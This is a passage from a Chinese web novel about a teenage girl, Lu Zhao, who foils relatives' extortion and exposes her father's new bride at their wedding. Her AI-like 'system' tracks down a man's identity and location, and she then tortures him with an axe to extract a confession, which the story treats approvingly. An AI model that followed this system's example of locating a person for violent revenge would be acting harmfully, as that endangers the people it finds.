“是包子就别怕狗惦记。真要再被偷了,这家咱们也就不用回去了。”路昭说:“这么大个城市,还怕租不到房子?正好花园里离我学校也太远了,每天上学都要坐车还要转一路公交车,很麻烦。换个住处,说不定还好了呢!”
“这倒也是……”有道理。
只是到那时候,李翠萍怕是要先发疯。
“别担心,他们那种人不尝到厉害不会消停。但给他们尝厉害之前,得把李翠萍这么吃里扒外的二五仔收拾了才行,不然,做多少都没用,反而有可能被偷家。”
“哎!也是难为你了。”王阿姨可怜路昭,一个小孩子,这才多大呢,就得操这么多心。
28. 第 28 章
第二十八章
路昭家之前就被偷过,上次报了警,结果不了了之。
这次她打了电话,很快警察就来了。
由得贵一家看见警察,瞬间吓得缩成了耗子。
“你们居然又来了?怎么,这次还想偷东西?”
民警上次就去由家村找过他们,一见到人就马上认出来了。
由家父子三人,外加两个儿媳妇,全都不敢说话了。
“说话,问你们什么情况?”
“情……情况就是,就是……她娘病了……”
“病了?”
“没,没病!”
“没病?”
“不是我们,不是我们,是别人说的,说大姐家里有很多钱,让我们假装老娘生病来要钱……”
像由家这群人,平时在家里横天横地,一出门就像个鹌鹑,一点儿胆子都没有。就更不用说和警察这种衙门里的人打交道了。
警察这种东西,在他们的认知力,那是比社戏里的天王老爷还厉害的。
别说和他们打交道,就是跟本村的村长说话时,都得小心翼翼。
也就是当着李翠萍这种,在他们眼中不算是人的女人,才让他们有那么大的胆子颐指气使。
这会儿见了警察,胆都被吓飞了,根本用不着审问,几句话,就让他们老实了。
于是很快,李翠萍就知道,她妈由老婆子根本没得病,存粹是在家装着呢,就等他们全家来要钱。
可问题是,她没钱啊!
路德荣给的那点儿钱,全在女儿那。
那丫头死犟得很,把钱扣得死死的,别说其他人,就是她这个亲妈,要了几回都要不来。
有时候说急了她就上手,不过两次,李翠萍就不敢再要了。
因为路昭打人,那是真的不收力气,一点儿都不讲情面,是真的下死劲打。
“装病骗人,来别人家要钱,这是诈骗!只要人家告你们,你们全家都有可能被抓到监狱去坐牢,信不信?”
“老爷,老爷,青天大老爷,我们不敢了……”陈桂子吓得几乎跪地求饶。
她实在是太害怕了,也不明白这是怎么回事?不就是要个钱吗?不愿意给就不给呗,大不了吵一架,动手也行,怎么动不动就找警察呢?该不会是……他们家还有这么大的靠山吧?
也不是不可能。
路德荣那人虽然离婚了,但前面的女人也是他的老婆,总还是要管的……
女人们弯弯绕绕,男人们战战兢兢,被警察一顿训斥之后,终于的灰不溜秋,被吓跑了。
李翠萍从头到尾没说上一句话,因为在面对警察这件事儿上,她和由家那群人,也好不了多少,反正就是害怕——时人眼中,总是要和警察这种身份离远点儿才好,只有路昭不知道脑子里怎么想的,点儿大的事都喜欢报警。
“你也是,以后如果他们再来,你硬要强硬一些,怎么任由别人把自己家里搬空呢?”
“就是,家里还有小孩子,看看这乌烟瘴气的,到处都是火星子,多危险。”另一个警察也看不得李翠萍的窝囊。
李翠萍还能说什么?只能连连点头,句句保证,再小心翼翼把人送走。
路昭和王阿姨,还有抱着路恒的牛桃花就在楼下小巷子口的面馆里。见他们出来,赶紧出来,问:“警察叔叔,谢谢你们,我看见他们已经走了。”
“是从这巷子里出去的?”
“嗯,从这边走的,他们没看见我。”路昭笑问:“你们吃饭了没?要不要一起吃碗面?”
“不用不用。我们还要回去。”
“哦,那我不耽搁你们工作了。对了,他们不会再来了吧?”
“应该不会了,多亏你报警,不然他们还真把人骗到了。”
“把人骗到?您的意思是……”
“是啊!他们说家里人生病是假的,就为了找你妈要钱。哎也不知道你妈得罪了什么人,居然专门跑去乡下给那家人出这种坏主意。”
“骗钱?装病?有人指使?”
“是呀,那老头说的,是什么人告诉他们,说你家现在有钱得很。”这话有可能是真的,虽然这家人主筒子楼,但家里请着俩保姆,还有屋里那些家具,一看都是好东西。所以说他们家里有钱,也很正常。
路昭深吸一口气:“有人撺掇,是谁?什么人在撺掇?”
“这……”
“我们问了,他们说他们也不认识,就只知道对方穿得好,也是城里人。”
“好吧。”路昭知道再也问不出什么东西了,只好和她们道别。
回去之后,路昭看到了在客厅里发呆的李翠萍。
她就坐在门口那个凳子上,焉耷耷的,也不知道在想什么。
王阿姨没让牛桃花进来,而是先进去开窗户放烟味,又把地扫了,用拖把拖了一遍,把地上的痰脏全都弄干净,才让牛桃花和路恒进来。
“妹子你还没吃饭吧?我给你下一碗面?”
王阿姨见李翠萍坐那儿一直没动,不放心地问了一句。
李翠萍这才回过神来,没什么精神地说:“算了,不想吃。”
“行。那我去把衣裳洗了。”然后就去找盆洗衣服去了。
路昭拿出钥匙,把自己的房间打开,刚进去没过一会儿就听见有人敲门。
打开一看,是李翠萍。
“有事?”
“你奶奶她……”
“警察不是都说了她是想装病骗钱么?怎么,你这都想给?”
“我,不,不是那个意思。”
“最好不是那个意思。”路昭把门碰地一关,很快又被敲响了。
“你到底要干嘛?”
李翠萍就瞪着眼睛看她。
路昭简直无语了,感情她是觉得那群人闹到家里来,她风风火火报了警,这会儿人走了,好歹应该发一台火才对。
结果路昭没有朝她发火,她反而不自在了。
在别人看来,不挨骂是好事,但在李翠萍看来,犯了错都不挨一顿骂,就好像她真的是什么连骂一顿都不配的垃圾,很不得劲儿。
虽然,路昭差不多真是这么想的。
但是对于李翠萍这种人,路昭是真的懒得花时间话精力去骂的。
对她来说,说话也好骂人也好,都是为了解决问题。
如果骂一顿,能解决问题,让她被骂的人永不再犯同样的错误,她当然会去做。
但问题是
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,李翠萍就不是那种会改正的人……或者说,她就不是一个会因为女儿的看法会做出改变的人。
她只是需要强权,需要强权对自己的压制,在确认自己在强权身边的存在感,因为除了挨骂或者被打这种受虐的角色之外,她想不出任何自己在强权面前的位置。
对路德荣是这样,对由老婆子是这样,对已经死了的李青石,估计也是这样。
现在对着路昭,还是这样。
被骂或者被打,像是变成了一种情趣。
变成了她仅有的,和身边的人维持关系的途径。
可惜的是,路昭没心情扮演类似的角色。
她就算要养狗,也只会养有用的。像李翠萍这种只会坏事的,养起来不仅没有任何意义,还会浪费时间。
更不用说,即便李翠萍觉得她在她面前是强权之一,但她的地位,也要远远比不上由老婆子或者路德荣。
你看,既没有能力,也没有忠诚,谁会看在眼里?
如果不是因为自己实在还未成年,她早就滚蛋了。
不,她甚至在刚穿过来的时候,就不会救她。
见李翠萍的确没有正事,路昭再一次关上了房门。
她的房间只有自己有钥匙,平时只要出门就是锁着的,所以这次由家人来其他人的房间和客厅都被弄得乱七八糟,只有她的房间因为被锁着,所以没人能进来。
往床上一趟,路昭一边翻手机看聊天记录,一边和系统分析由老头口中说的那个向他们暴露家里很有钱的人是谁。
【左右的邻居街坊都知道那家人是什么样的人,故意造谣他们家里有钱,还撺掇由家装病来要钱,肯定是和我们有仇。】
【谁会和李翠萍有仇?她那么懦弱?】
【这不是很明显么?于馨雅呀!】路昭其实也知道附近的邻居对她们家请了两个保姆这种事颇有些羡慕嫉妒,但也最多背后嚼嚼舌根,倒不至于专门找人跑去乡下撺掇由家人。有动机也有那个能力的,只有于馨雅。
【但你才刚刚救了她女儿,你们人类,不是很讲究恩情的么?】
【我让她在认识的人面前丢脸了,让他们知道了她的丑事。】路昭笑道:【更何况,得到别人的恩惠,有时候会引起的,不一定是感激,反而是仇恨。要不然怎么会有恩达如仇这句话呢?再说,如果我是其他人,那她可能真的会感激我,但我是被她抢了丈夫的原配的女儿。本来她就在我面前有道德劣势,结果这个原配女儿还救了自己的女儿。小系统,人是很难接受自己的不堪的。】
【所以为了消灭这种不堪,就直接消灭引起不堪的源头?】
【算是吧。】
【那你怎么办?】
【怎么办?当然是打回去呀!你先把撺掇由家的那个人找到。】
系统只用了不到一秒,便找出了那人的信息:【石蒙,现年二十九,无业,曾与于馨雅有过私人来往。这次是为了钱,答应帮她带信给由家,撺掇他们来找李翠萍要钱。现在,此人住在路子口招待所在,准备南下经商。】
【经商?于馨雅给了他多少钱?】
【不多,但打工做小生意对他来说,也叫经商。】
路昭起身:【走,去找他。】
29. 第 29 章
第二十九章
路昭直奔汽车站,在招待所里找到了正在呼呼睡觉的男人。
“你谁呀?”当被人一脚踹醒的时候,男人愤怒地问。
路昭扯了个凳子,背靠着惟一一扇小窗户,看着他,道:“你不知道我是谁?”
“你个小东西……”男人大骂一声,就想扑向路昭。
结果他话还没说完,就‘嘭’地一声,又挨了一脚。
这回终于清醒了,捂着头爬起来,惊恐地看着重新坐回椅子上的女孩儿,颤声问:“你,你到底是谁?找我做什么?”
“装不知道?你做了什么自己心里不清楚吗?今天就教你个乖,出手害人之前,先仔细想想自己得不得罪得起。”
想了他怎么没想?
不就是一堆孤儿寡母吗有什么大不了的?
虽然前面的男人的确是挺厉害的,但让他干那事儿的就是对方现在的老婆。
出了事儿也用不着自己去涂抹,这买卖干得呀!
于是他果断地要了一笔钱,跑去村里忽悠了一顿。几乎没用什么力气,就把人给说动了。
本以为这事儿就算要被问出来,也是好久之后去了,没想到自己这还没上车呢,就被找上门。
之所以决定离开京市倒也不是害怕,而是听说南方赚钱得很,他想去找找机会。
好不容易从于馨雅那里弄到了路费,可不能耽搁了。
可惜的是,他这个计划注定流产。路昭绝不会就让他这么离开。
“说吧,指使你的人是谁?”
“不知道你在说什么。小东西你……”
“嘭!”又是一脚。
“我的耐心有限,要么你说实话要么我卸掉你一双腿。”路昭淡淡地说:“放心,不是骨个折那种卸,是直接把这对儿零件帮你拿掉。”
“你敢!”
“你可以试试。”路昭道:“其实我大约也知道指使你的人是谁,所以你说或者不说,都没有多大的区别。我多问你一句,不过是给你个机会罢了。既然你不要,也行。”
路昭站起来,噌一声,从背包里抽出一把斧头。
“你,你干什么?”
“不是说了么?卸你一双腿。放心,不会有人来的。你可以放心大胆地叫,要是能叫来人,我肯定饶你一命。”
男人哪里敢站着让她砍?一个跟投爬起来就想跑。可惜房间门被锁得死死的,从里面打不开,朝外面喊,也叫不来人。
路昭就那么好整以暇地看着他。等他叫够了,才问:“叫够了么?那我就开始了。”
“你敢,我敢动我一下试试!我和你拼了!”男人见求救无望,干脆拼死一搏。毕竟在视觉上,路昭不过是一个十多岁的小姑娘,即便被连踹好几脚,已经有些震惊于她的力量,但内心深处,还是不肯接受这个现实。
毕竟他长这么大,就没见过能打赢男人的女人。更罔论打过男人的小孩了。
抱着这种不服输的精神,男人猛地挥舞着拳头朝路昭发起进攻。然后就在强悍的镇压之下迅速败下阵来。
他的脖子被卡在地上,路昭一脚踩住他的脑袋,一脚控制住他乱动的腿。
然后挥舞着斧头,嘭!第一下砍掉了一半脚踝。
男人惨叫着,终于开始求饶:“我说,我说,是于馨雅让我干的。她给钱让我干的,我把钱给你,饶了我,饶了我!”
路昭停下来:“知道错了?”
“知道了知道了,再也不敢了。”
“可以。”路昭收回斧头,从书包里抽出一沓钱和打印好的宣传单:“不就是想要钱么?我也可以给你。只要你能让我满意,懂了么?”
“明,明白。”
男人呜咽着爬起来,扶着椅子,筛糠一样在那里发抖。
路昭背起书包,离开之前警告他:“别想逃跑,更别想□□。你不是我的对手,下一次,我不会给你机会,只会让你彻底消失。”
“不敢,不敢,绝对不敢!”石蒙颤着声音,赶紧表忠心。
等人走了之后,才痛的哭出来,大声叫人送自己去医院。
*
路昭回家时,天已经快黑了。
李翠萍不高兴地问:“你一天到晚跑哪儿去了?不着家。”
“昭昭,吃饭了吗?我煮了酱肘子专门给你留着。”
“嗯,还没吃,给我来一碗吧。”
“好好,你先坐着,我这就去给你盛饭。”王阿姨说完,赶紧去了厨房。
李翠萍见路昭又不理她,心里委屈,噘着嘴坐在那里生闷气。
可惜路昭直接管她当空气,不论她做什么动作摆什么表情,全都当没看见。
吃完饭后,路昭把碗一推,回房间了。
李翠萍又抱怨起来,路昭没管,背书之前,先看了眼手机。
群里的人正在聊天,相互介绍自己的身份和年纪。
这会儿,他们好像终于发现了,彼此都来自于不同的时代,所知道得事情,自然也不尽相同。
路昭依然登的是小号,看他们在讨论平时最爱聊天的‘就叫苏将军’为什么连续好几天都不在线。
苏玮当然不会有时间聊天的,因为他正忙。
从暨城突围之后,苏玮便绕过徐阳一路招兵买马,带着粮草精兵摧枯拉朽,短短两个月的时间,就拿下了整个钦州。
消息传回武隆的时候,朝堂上下全都慌乱了起来。
齐望才紧张地擦了擦额头的汗,耳朵里嗡嗡作响,根本听不到同僚们说话的声音。
好不容易熬到下朝后,才终于急急忙忙地追上老师的轿子,进了池家书房。
“老师,老师,这可如何是好呀!那姓苏的小子好生命大,居然那样都没死,这这这这……”
“安静,安静!”池公明本就烦躁,被他这么一问,心情更加不好。
“一个小小的武夫,能掀出什么风浪?你急什么?”
“学生怎能不急?那苏珏的死……”
“苏珏欺君罔上,冒犯天威,乃皇上亲自下旨捉拿,与你我何干?”
“可,可……”
话是这么说,但问题是,皇帝人在皇城,离长野千八百里远,天威都散不到那里去,哪里能被冒犯?
“他难道还敢谋反吗?”池公明大义凌然的一句话,震得齐望才说不出话来。
他也想这么想,一个毛头小子,就算再厉害又如何,还能反了天不成?
但
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问题是,他已经打到了城外,过不了多久,就要直奔皇城了。
自欺欺人改变不了现实,齐望才痛哭流涕:“老师,我们赶紧走吧,苏玮不会放过我们的,老师……”
“不,不至于,我们还有皇上,对,我们还有皇上。”
即便是想要争夺江山,苏玮也必须善待先皇。即便看在皇上的面子上,他也不会轻易杀了自己。
他想得很好,然而事情并不如他们期望的那样。
皇帝的呵斥圣旨被接连无视,然后圣旨又变成了嘉奖,为了安抚他,在众多官员的商议之下,许以高官厚禄,频频加封,也不过是得到了两封谢恩奏折。
想要控制住苏家老小女眷,用以逼迫苏玮束手就擒,却不料在他们动手之前,苏家所有人在一夜间消失无终,根本没人知道去了哪里。
这个时候,陷害苏家的林党们开始坐立不安,甚至主动清查苏珏之死,并推出替罪羊想要平息苏玮的怒火。可惜依旧没有得到任何回应。
苏家军越打越大,他有如神助,攻无不克战无不胜。粮草兵甲更是源源不绝,据说有人看到其开坛做法,只需祷告,就能于众目睽睽之下,让上天降下粮草。
而吃下上天赐予的粮食的士兵,无不身强体壮势不可挡。穿上上天降下的兵甲的士兵,更是有如神助攻无不克。
人人都说,苏将军乃天神下凡,今受奸贼所害,只能换回真身报仇雪恨。
这种传说太过荒诞,难以让人信服。然其所到之处,却无不臣服,于是短短几个月时间,竟将大半个南境收入囊中。
这个时候,满朝文武才终于害怕了。
尤其是皇帝,竟然亲自写信回忆往昔,想要以此唤起苏家往日的忠诚之心。为此,他亲自下旨,绑住了当初杀害苏珏,并将因一己私心出卖情报,害得苏玮被杀暨城的罪魁祸首捉拿,然后派人送给苏玮任其处置。
可惜为时已晚,苏家北上的步伐,没有一刻停歇。
当他终于站在武隆城外的时候,从前那些欺辱苏家粗野武夫的权贵们,嘲笑他黄毛小儿的大臣们,终于像个阴沟里的老鼠一样跪在他的脚下瑟瑟发抖了。
“好久不见啊池大人。”苏玮坐在马上,居高临下地看着脚下的朝臣,轻笑:“你们这是做什么?这好好的端阳节,不是应该赏桂饮酒,簪花看舟么?跪在这里晒太阳,是多么的无聊?”
“苏玮,你忤逆犯上,大逆不道……”
“天命在我。”
才不过堪堪二十岁的少年将军晃晃手中的马鞭,毫不在意地说道:“尔能奈何?”
“你……”
“将军,陛下待苏家不薄,即便有些失察之处,让苏老将军以及苏将军受了委屈,但也不过是被奸人蒙蔽。
如今他已然悔改,将功补过。您何必苦苦相逼……”
“将功补过?你是说,害死我大哥之后,随便扔出个替罪羊来糊弄我?”少年将军指了指地上的白发老,问:“池公明,你因一己之私,毁掉袁氏皇朝江山,感觉如何?是否十分欣慰?”
“胡言乱语,老臣忠心耿耿。”
“忠心耿耿?挺好!那便下去同你的先帝们说去吧。”然后一挥鞭,大马金刀,穿过正阳门,进了皇城。
30. 第 30 章
第三十章
于馨雅和路德荣的婚礼定在十一月二十九号。
因为俩人都是二婚,通常情况下,二婚都不会大办的,但路德荣现在的身价和以前不一样了,认识的人也多,就算是小办也绝对超过了头婚时候的规模,再加上有交际需求,所幸就干脆大办了。
于馨雅那边,自然是更巴不得。
她是好脸面的人,守寡多年,被人明里暗里说了不少闲话。这回二婚嫁了个有钱的,不显摆一下怎么行?
因此两人的婚宴请柬早就发了出去,地点也定在了最新开业的宏斌大酒店。
路昭本来没想理会的,但于馨雅都恶心到她脸上了,她不掺和一下,岂不是很对不起她?
于是这天一大早,路昭就把自己收拾停当了,早早背着背包出了门,准备去参加渣爹的婚礼。
由老婆子刚到门口,就和路昭遇上了,俩人大眼瞪小眼,相互看了一会儿才问:“怎么就你一个?我以为又会看到你们全家人呢。”
由老头一家被警察吓回去之后,路昭都不用想,就知道由老婆子肯定会来。
毕竟他们都听了别人的话,相信李翠萍有钱,又怎么会不眼馋?
只不过没有想到,这回由得贵那一家全都不来了,只派了由老婆子一个。
不过按说起来,想要拿捏李翠萍,也确实只用她一个人就够了。
这速度么,倒是比路昭推测的要快。她以为由老婆子就算要来,也应该还要再过几天时间。
毕竟村儿里离京市,距离可不近。
“怎么我来不得?我是她娘!”由老婆子看见路昭就没好气,垮着一张脸,唾沫星子差点儿喷到人脸上。
路昭倒笑了,说她:“你干嘛生气呀?又不是不叫你来!正好,我爸今天结婚,在大酒店摆宴席呢,要不要和我一起去?”
“什么大酒店?”
“没去过吧?”
由老婆子不说话了。
路昭耸耸肩:“爱去不去,不想去就算了,我走了。”
“等着,我跟你一起去。”由老婆子想了想,还是跟了上来。
不过她到底不知道路昭想要去干嘛,上了公交车就开始问她:“你该别是要去给你爹找麻烦?我可告诉你,我可不会帮你!”相反,她只会帮着路德荣。
“我找什么麻烦?我妈都不找他麻烦我管他们做什么?”路昭毫不在意:“我就是想去吃席,听说那家大酒店是外国人开的,特别豪华,鱿鱼海参什么都有,没吃过,想去见识见识……”
由老婆子眼睛一亮,直接开始吞起了口水。
鱿鱼海参?她也想去见识见识。
“哎哟,早知道就叫你舅他们都来了!”
她可真是个好娘啊!打口秋风都不忘不了儿子。
路昭没再说什么。
很快,车到站了,两人一前一后下了车,走了一段路,很快就到了宏斌大酒店。
新开的豪华酒店,门口停了好几辆小轿车,光是大门就富丽堂皇,让人望而却步。
来来往往的人更是衣冠楚楚,一看就不是平头老百姓。
往常蛮横无比的由老婆子见了这场景,居然被吓得完全不敢走了,瑟缩着想要拉着路昭的胳膊,被她一下搡开了。
“要走就好好走,不要拉拉扯扯!”
要是平常,路昭敢这么搡她,由老婆子必得破口大骂甚至给她两巴掌。
但是这会儿,她心虚胆怯,脸看都不敢正大光明地看,哪里又敢呵斥路昭?
不仅不敢呵斥,还恨不得躲在她身后,做贼一样蹭到门口。
保安见状,直接拦在了她们面前,问:“干嘛的?这里不是你们该来的地方。”
“路德荣是我爹,他结婚我不能来?”
保安皱了皱眉,不太相信。
尤其是看着由老婆子那一脸做贼样,问:“你说的是真的?”
“她是我奶奶,村里人,没见过酒店。”
“那倒是!”保安笑了一声,给她们指路:“从这里上去往三楼走,别乱跑。”
“谢谢。”路昭应了一声,这才上楼。
到了三楼之后,果然看到大堂里满满当当坐了不少人。
当然,相比起看人的路昭,由老婆子最在意的,是场面。
那大红的摆设,金灿灿的挂件,看上去十分唬人。等看见墙上贴着的金箔纸,她居然悄悄撕了一块含在嘴里,咬了一下想要试试是不是真的。
路昭硬是想了一会儿才反应过来,她以为墙上贴着的金箔纸画,是真的金子。
“你可真不怕挨打!”
“都是你娘没出息,要不然,就该我们过这富贵日子。”
“呵!”路昭翻个白眼,懒得接茬,干脆换了个位置。
这时候夏露看到了她,不知想到了什么,便走了过来。
问道:“路昭同学,你也来了?”
“我来参加我爸的婚礼,怎么,不能来?”
由老婆子是个窝里横,对着路昭敢黑脸,看见同样是女孩儿,但穿着一身公主裙小皮鞋的夏露,就开始躲着了。只耳朵支得高,显然在偷听。
夏露笑道:“那你怎么坐在这里呀?这里可不是亲戚坐的地方。不过,爸爸怎么没有说过你要来?你该不会是,偷偷跑来的吧?”
“我当然得坐远点儿,不然有人天打雷劈,被连累了怎么办?”
正说话间,夏露的宠团们也走了过来。
有人知道路昭和夏露的关系,表情不是很好。
大部分人不知道,还在笑呵呵地打招呼。
“哎,路昭同学你也在?”
“话说,现在露露改姓成了路夏,这下和路昭一个姓了,真是好巧啊!”
路夏的表情有一瞬间不自然,不过其他人没有看出来。
路昭笑了一声:“这有什么好巧的,她是跟我爸姓,咱俩一个路,本来也不是巧合。”
“啊?”
“什么意思。”
路昭耸耸肩膀,但笑不语。
夏露深吸一口气,警告路昭:“爸爸马上就要出来了,你不要惹他生气。”
“放心,惹他生气的不会是我。”路夏扯了扯嘴巴,转身走了。
其他人和路昭不熟,没什么好说的,自然也跟着离开。
只有将原留了下来,等小伙伴们走走光了,这才拉过一旁的凳子,坐在路昭左侧,对她说道:“你在外面,不要说夏夏妈妈的事。”
“你谁?”
将原:“……我是将原,你连我名字都不知道?”
“我又不认识你,凭什么要知道你的名字?”
将原:“……”
“不知道无所谓,反正你只要不在外面胡说八道就行!”
“我从来不胡说八道,何况,我刚才说了,我都不认识你,你一个路人甲,应该搞搞清楚自己的身份,有没有资格来教我做事。”
“你……”将原深吸一口气,语调到底软了下来:“我知道你对她妈妈有意见,但这是长辈之间的事,和夏夏没关系,你不要让夏夏下不来台。”
“所以,你到底是为什么觉得,自己有资格对我提出意见?”
将原:“你这个人,怎么就不能好好说话呢?”
“不能好好说话的人是你吧?我刚才不是说了么?路人甲就要有路人甲的意识。你有什么资格对我的事情指手画脚?”
将原发现他实在说不通,只好站起来,撂下一句:“你这样,是真的不讨人喜欢。”
“谢谢,我从来都不需要讨任何人喜欢。”
将原走了,宾客落座。
路德荣和于馨雅走了出来,俩人穿着西装婚纱,打扮十分洋气。
主持人是个中年胖子,口条十分顺溜,几句俏皮话,就把人逗得哈哈大笑。
笑过之后,俩人手挽着手,开始每桌敬酒。
最重要的客人,自然是路德荣的商业伙伴们。之后才是于馨雅的学校领导和同
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事们。
当然,除去他们,还有不少邻居朋友都在现场。
很快,俩人的酒就敬到了路昭这一桌。
一眼看到路昭,路德荣都愣了。
“你这是……”路德荣想了一下才说:“你妈终于把你收拾齐整了?”
人逢喜事精神爽,路德荣还挺高兴的。路昭以前总是灰不溜秋脏兮兮,一脸疮疤看上去又脏有难看。但是今天,她不仅脸上光趟了,身上也穿的干干净净。这就是对他的事情的重视。
路昭从商店兑换来的药,为了换回自己的身体,虽然一直在刻意放慢进度,但这么长时间过去,其他的不说,脸上和身上的疮,早就好了。
十多岁的小女孩儿,只要稍微养的像样一点儿,都不会有多难看。
更何况不管是原身还是路昭本人的长相,都非常优越,只要不被养得乱七八糟,都是好看的。
而吃了系统药剂的路昭,自然就更胜一筹。
此时路德荣看着她,虽然还能认得出事‘自己的女儿’,但的确觉得大变样了。
不过,他本身就没有怎么关心过这个孩子,自然也不会觉得哪里不对。
只是因为她没都给他丢脸,就很高兴了。
路昭笑了笑,说:“我妈从来都不管我,你又不是不知道。”
“行,那看来你那保姆请的还行。”他觉得是保姆的功劳。
不过是与不是,仿佛也不怎么重要,路德荣随口说了一句,就又去另外一桌敬酒了。
于馨雅从头到尾站在一边,一副端庄温婉的样子,十分贤惠。
等到一圈酒敬完,回到台上,准备开席。
就在这时候,一个男人突然闯了进来,冲着人群大吼:“于馨雅,你不能和他结婚!”
“什么?”
“这谁?”
“你要干什么!”
“你说过要和我结婚,现在却嫁给别人,我不服!”
“嚯!”
人群轰一声,嘈杂起来。
这时候的人,到底还是趋于保守的。
虽说结婚离婚正常,但要是听到什么风言风语,总会少不了议论一番。
这下好了,天降大瓜,直接砸到了他们面前,怎么能不让人兴奋?
于馨雅哪里想到会发生这样的事情?顿时气白了脸,指着他怒喝:“你在胡说什么?我和你什么关系都没有!”
“什么关系都没有?”
就见那人直接从包里拿出一叠钱扔回来:“你给我钱让我离开京市去南方,我本来想走的,但是想来想去,还是舍不得你……”
“哇,这么多钱。”
于馨雅为了让石豪撺掇由家人来找李翠萍的麻烦,给了石豪好几几千块钱。
别看钱不多,但在这个平均工资只有几百块的年代,两千块钱,真不算少了。
再加上全都是十块钱的散票子,往外面一放,那是厚厚一叠。
在场认识石豪的人虽然不多,但也有那么好几个,全都是于馨雅以前的邻居。
他们都知道石豪不过是个药厂看门的临时工,根本没多少工资,还要养一大家子,哪里攒的下钱?
但于馨雅就不一样了,她一直过得精致体面不说,现在更是嫁了个有钱人,她用钱,自然比其他人容易。
这时候,看到石豪随随便便甩出这么大一塔钱出来,众人几乎是一下子就相信了他的话,觉得他们俩人之间,一定是有过一腿。
路德荣的脸非常不好看,但他为了面子,即便有再多不满,这个时候,也要站在于馨雅一边。
于是冷声说道:“你是他们派来搅局的吧?行,生意上的事居然闹到我家里。保安,把他给我拖出去!”
“我说的是真的,都是真的!”男人被抓住,尤不死心,突然从身上掏出一叠纸,哗啦一下,撒得满天都是。
大家捡起来一看,居然是于馨雅收钱办事,帮人办理学籍的证据。
这下大家都不淡定了。